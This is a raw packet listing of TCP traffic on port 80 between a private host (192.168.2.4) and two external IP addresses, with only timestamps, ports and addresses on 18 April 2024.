Apr 18, 2024 23:40:04.865997076 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866005898 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866005898 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866005898 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866033077 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866055012 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866067886 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866103888 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866105080 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866139889 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866174936 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866183043 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866183043 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866183043 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866211891 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866242886 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866246939 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866255999 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866282940 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866317987 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866318941 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866318941 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866352081 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866388083 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866422892 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866431952 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866431952 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866431952 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866457939 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866492987 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866492987 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866503954 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866528988 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866556883 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866564035 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866599083 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866606951 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866606951 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866635084 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866667032 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866671085 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866708040 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866744041 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866760015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866760015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866760015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866779089 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866813898 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866849899 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866862059 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866862059 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866862059 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866885900 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866920948 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866955042 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.866970062 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866970062 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866970062 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.866990089 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.867026091 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.867060900 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.867074966 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.867074966 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.867074966 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.867096901 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.867120981 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.867136955 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.867175102 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.867176056 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.867187977 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.867209911 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.867245913 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.867280960 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.867296934 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.867296934 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.867296934 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.867316961 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.867345095 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.867352962 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.867388964 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.867403030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.867403030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.867425919 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.867461920 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.867496967 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.867506981 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.867506981 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.867506981 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.867533922 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.867568016 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.867569923 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.867578983 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.867702007 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.873768091 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.873828888 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.873867989 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.873868942 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.873879910 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.873912096 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.873951912 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.874001026 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.874001026 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.874001026 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.880208015 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.880249977 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.880286932 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.880301952 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.880301952 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.880323887 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.880362034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.880373001 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.880373001 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.880398989 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.880425930 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.880435944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.880450010 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.880472898 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.880491018 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.880513906 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.880536079 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.880549908 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.880579948 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.880589008 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.880601883 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.880625963 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.880645037 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.880662918 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.880680084 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.880717993 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.880718946 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.880758047 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.880778074 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.880794048 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.880822897 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.880834103 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.880848885 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.880871058 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.880893946 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.880923033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.880944967 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.880959034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.880984068 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.880995035 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881027937 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881030083 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881052017 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881067991 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881091118 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881105900 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881133080 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881143093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881156921 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881179094 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881197929 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881215096 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881236076 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881252050 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881274939 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881290913 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881314993 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881326914 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881354094 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881364107 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881391048 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881400108 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881422997 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881436110 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881452084 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881474972 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881494999 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881511927 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881532907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881547928 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881570101 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881582975 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881601095 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881618977 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881644964 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881656885 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881688118 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881697893 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881719112 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881735086 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881755114 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881769896 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881788969 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881807089 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881824017 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881843090 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881870985 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881881952 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881901026 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881917953 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881941080 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881953955 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.881973028 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.881989956 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882014036 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882025957 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882045984 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882065058 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882083893 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882101059 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882119894 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882138014 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882155895 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882174969 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882194042 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882210016 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882230997 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882249117 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882265091 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882286072 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882304907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882322073 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882340908 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882358074 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882380009 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882395029 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882416964 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882431030 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882456064 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882467031 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882493019 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882504940 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882530928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882539988 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882554054 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882575989 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882596016 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882613897 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882631063 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882651091 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882674932 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882687092 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882700920 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882725000 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882747889 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882761955 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882774115 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882797956 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882817030 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882833958 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882867098 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882870913 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882894039 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882909060 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882926941 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882944107 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882963896 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.882981062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.882999897 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883018970 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883039951 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883057117 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883069038 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883093119 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883109093 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883128881 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883141994 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883166075 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883178949 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883203030 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883218050 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883239031 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883253098 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883275032 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883287907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883311033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883327961 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883347034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883361101 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883384943 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883399010 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883420944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883435011 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883459091 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883474112 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883495092 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883511066 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883532047 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883543968 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883568048 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883580923 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883604050 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883618116 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883640051 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883657932 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883675098 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883688927 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883712053 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883728981 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883749008 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883764982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883785009 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883797884 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883821011 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883833885 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883857012 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883872032 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883893013 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883908033 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883929968 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883943081 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.883965969 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.883979082 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884001970 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884016037 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884037971 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884052038 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884078979 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884088039 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884130955 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884149075 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884185076 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884202957 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884219885 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884233952 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884258032 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884272099 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884293079 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884308100 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884329081 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884342909 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884363890 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884378910 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884401083 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884418011 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884438038 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884454012 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884475946 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884489059 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884511948 CEST	80	49739	193.233.132.167	192.168.2.4
